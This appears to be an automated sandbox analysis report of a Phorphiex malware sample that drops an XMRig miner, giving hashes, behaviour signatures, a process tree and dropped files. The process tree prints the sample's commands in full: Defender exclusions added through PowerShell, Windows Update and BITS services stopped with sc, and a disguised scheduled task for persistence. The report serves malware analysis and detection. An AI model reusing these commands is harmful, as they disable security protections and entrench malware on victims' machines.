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Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    16/10/2024, 17:26

General

  • Target

    file.exe

  • Size

    83KB

  • MD5

    06560b5e92d704395bc6dae58bc7e794

  • SHA1

    fbd3e4ae28620197d1f02bfc24adaf4ddacd2372

  • SHA256

    9eaaadf3857e4a3e83f4f78d96ab185213b6528c8e470807f9d16035daadf33d

  • SHA512

    b55b49fc1bd526c47d88fcf8a20fcaed900bfb291f2e3e1186ec196a87127ed24df71385ae04fedcc802c362c4ebf38edfc182013febf4496ddeb66ce5195ee3

  • SSDEEP

    1536:27zFjdFmav82WoPRgMRmtMJXlXXwfAbQaQG9MF7vRjoJrl:yRyO+oPKjoBAIcZF7vqrl

Malware Config

Signatures

  • Modifies security service 2 TTPs 1 IoCs
  • Phorphiex payload 1 IoCs
  • Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Windows security bypass 2 TTPs 6 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 5 IoCs
  • Windows security modification 2 TTPs 7 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 9 IoCs
  • Suspicious use of SendNotifyMessage 9 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1196
      • C:\Users\Admin\AppData\Local\Temp\file.exe
        "C:\Users\Admin\AppData\Local\Temp\file.exe"
        2⤵
        • Adds Run key to start application
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2504
        • C:\Windows\sysppvrdnvs.exe
          C:\Windows\sysppvrdnvs.exe
          3⤵
          • Modifies security service
          • Windows security bypass
          • Executes dropped EXE
          • Loads dropped DLL
          • Windows security modification
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1924
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2684
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:540
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1724
            • C:\Windows\SysWOW64\sc.exe
              sc stop UsoSvc
              5⤵
              • Launches sc.exe
              • System Location Discovery: System Language Discovery
              PID:320
            • C:\Windows\SysWOW64\sc.exe
              sc stop WaaSMedicSvc
              5⤵
              • Launches sc.exe
              • System Location Discovery: System Language Discovery
              PID:2744
            • C:\Windows\SysWOW64\sc.exe
              sc stop wuauserv
              5⤵
              • Launches sc.exe
              • System Location Discovery: System Language Discovery
              PID:2816
            • C:\Windows\SysWOW64\sc.exe
              sc stop DoSvc
              5⤵
              • Launches sc.exe
              • System Location Discovery: System Language Discovery
              PID:2836
            • C:\Windows\SysWOW64\sc.exe
              sc stop BITS /wait
              5⤵
              • Launches sc.exe
              • System Location Discovery: System Language Discovery
              PID:2808
          • C:\Users\Admin\AppData\Local\Temp\1961932162.exe
            C:\Users\Admin\AppData\Local\Temp\1961932162.exe
            4⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1284
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:2204
              • C:\Windows\system32\reg.exe
                reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
                6⤵
                  PID:316
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:2988
                • C:\Windows\system32\schtasks.exe
                  schtasks /delete /f /tn "Windows Upgrade Manager"
                  6⤵
                    PID:2108
              • C:\Users\Admin\AppData\Local\Temp\2541523439.exe
                C:\Users\Admin\AppData\Local\Temp\2541523439.exe
                4⤵
                • Executes dropped EXE
                PID:2216
              • C:\Users\Admin\AppData\Local\Temp\210041325.exe
                C:\Users\Admin\AppData\Local\Temp\210041325.exe
                4⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:1516
                • C:\Users\Admin\AppData\Local\Temp\3421027440.exe
                  C:\Users\Admin\AppData\Local\Temp\3421027440.exe
                  5⤵
                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  PID:696
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1736
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn "Microsoft Windows Security" /tr "'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe'"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:2160
          • C:\Windows\System32\schtasks.exe
            C:\Windows\System32\schtasks.exe /run /tn "Microsoft Windows Security"
            2⤵
              PID:2388
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Drops file in System32 directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2836
              • C:\Windows\system32\schtasks.exe
                "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn "Microsoft Windows Security" /tr "'C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe'"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:540
            • C:\Windows\System32\conhost.exe
              C:\Windows\System32\conhost.exe
              2⤵
                PID:2736
              • C:\Windows\System32\dwm.exe
                C:\Windows\System32\dwm.exe
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                PID:2716
            • C:\Windows\system32\taskeng.exe
              taskeng.exe {7E2F2BF6-CAB3-4623-8C28-2C8D1B3C52DB} S-1-5-21-3533259084-2542256011-65585152-1000:XPAJOTIY\Admin:Interactive:[1]
              1⤵
              • Loads dropped DLL
              PID:2504
              • C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe
                "C:\Users\Admin\Microsoft Windows Security\winupsecvmgr.exe"
                2⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                PID:2804

            Network

            MITRE ATT&CK Enterprise v15

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            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\MPUI9R2R\1[1]

              Filesize

              108KB

              MD5

              1fcb78fb6cf9720e9d9494c42142d885

              SHA1

              fef9c2e728ab9d56ce9ed28934b3182b6f1d5379

              SHA256

              84652bb8c63ca4fd7eb7a2d6ef44029801f3057aa2961867245a3a765928dd02

              SHA512

              cdf58e463af1784aea86995b3e5d6b07701c5c4095e30ec80cc901ffd448c6f4f714c521bf8796ffa8c47538bf8bf5351e157596efaa7ab88155d63dc33f7dc3

            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\X6N7XZ3SEXFIJB034CRV.temp

              Filesize

              7KB

              MD5

              965a51bba352d24f05323c57534d7c91

              SHA1

              306db500daaa9369e171b714f531c0f0455c71d0

              SHA256

              7e6bab14f9eeb28caae8b133e4a5d2acb14b6d5fea2c3a8dbf2aaa4de1d9da00

              SHA512

              caca642b57b1803f6358c8ece908fe31ed1fb91db3f789a58387de05a84af46aed6474a2c1746af6c1fced12929cb7b599268e49fbb20dfdd648d0a45a84c080

            • C:\Windows\sysppvrdnvs.exe

              Filesize

              83KB

              MD5

              06560b5e92d704395bc6dae58bc7e794

              SHA1

              fbd3e4ae28620197d1f02bfc24adaf4ddacd2372

              SHA256

              9eaaadf3857e4a3e83f4f78d96ab185213b6528c8e470807f9d16035daadf33d

              SHA512

              b55b49fc1bd526c47d88fcf8a20fcaed900bfb291f2e3e1186ec196a87127ed24df71385ae04fedcc802c362c4ebf38edfc182013febf4496ddeb66ce5195ee3

            • \Users\Admin\AppData\Local\Temp\1961932162.exe

              Filesize

              8KB

              MD5

              cb8420e681f68db1bad5ed24e7b22114

              SHA1

              416fc65d538d3622f5ca71c667a11df88a927c31

              SHA256

              5850892f67f85991b31fc90f62c8b7791afeb3c08ae1877d857aa2b59471a2ea

              SHA512

              baaabcc4ad5d409267a34ed7b20e4afb4d247974bfc581d39aae945e5bf8a673a1f8eacae2e6783480c8baaeb0a80d028274a202d456f13d0af956afa0110fdf

            • \Users\Admin\AppData\Local\Temp\210041325.exe

              Filesize

              10KB

              MD5

              96509ab828867d81c1693b614b22f41d

              SHA1

              c5f82005dbda43cedd86708cc5fc3635a781a67e

              SHA256

              a9de2927b0ec45cf900508fec18531c04ee9fa8a5dfe2fc82c67d9458cf4b744

              SHA512

              ff603117a06da8fb2386c1d2049a5896774e41f34d05951ecd4e7b5fc9da51a373e3fcf61af3577ff78490cf898471ce8e71eae848a12812fe98cd7e76e1a9ca

            • \Users\Admin\AppData\Local\Temp\2541523439.exe

              Filesize

              15KB

              MD5

              0c37ee292fec32dba0420e6c94224e28

              SHA1

              012cbdddaddab319a4b3ae2968b42950e929c46b

              SHA256

              981d724feebc36777e99513dc061d1f009e589f965c920797285c46d863060d1

              SHA512

              2b60b571c55d0441ba0cfc695f9db5cd12660ebec7effc7e893c3b7a1c6cb6149df487c31b8d748697e260cbc4af29331592b705ea9638f64a711c7a6164628b

            • \Users\Admin\AppData\Local\Temp\3421027440.exe

              Filesize

              5.6MB

              MD5

              13b26b2c7048a92d6a843c1302618fad

              SHA1

              89c2dfc01ac12ef2704c7669844ec69f1700c1ca

              SHA256

              1753ad35ece25ab9a19048c70062e9170f495e313d7355ebbba59c38f5d90256

              SHA512

              d6aff89b61c9945002a6798617ad304612460a607ef1cfbdcb32f8932ca648bcee1d5f2e0321bb4c58c1f4642b1e0ececc1eb82450fdec7dff69b5389f195455

            • memory/696-70-0x000000013F740000-0x000000013FCD7000-memory.dmp

              Filesize

              5.6MB

            • memory/1284-29-0x000000013FB60000-0x000000013FB66000-memory.dmp

              Filesize

              24KB

            • memory/1736-66-0x000000001B3F0000-0x000000001B6D2000-memory.dmp

              Filesize

              2.9MB

            • memory/1736-67-0x0000000001EB0000-0x0000000001EB8000-memory.dmp

              Filesize

              32KB

            • memory/2716-86-0x00000000000B0000-0x00000000000D0000-memory.dmp

              Filesize

              128KB

            • memory/2736-87-0x0000000140000000-0x0000000140029000-memory.dmp

              Filesize

              164KB

            • memory/2804-85-0x000000013F560000-0x000000013FAF7000-memory.dmp

              Filesize

              5.6MB

            • memory/2836-79-0x000000001B630000-0x000000001B912000-memory.dmp

              Filesize

              2.9MB

            • memory/2836-80-0x0000000002200000-0x0000000002208000-memory.dmp

              Filesize

              32KB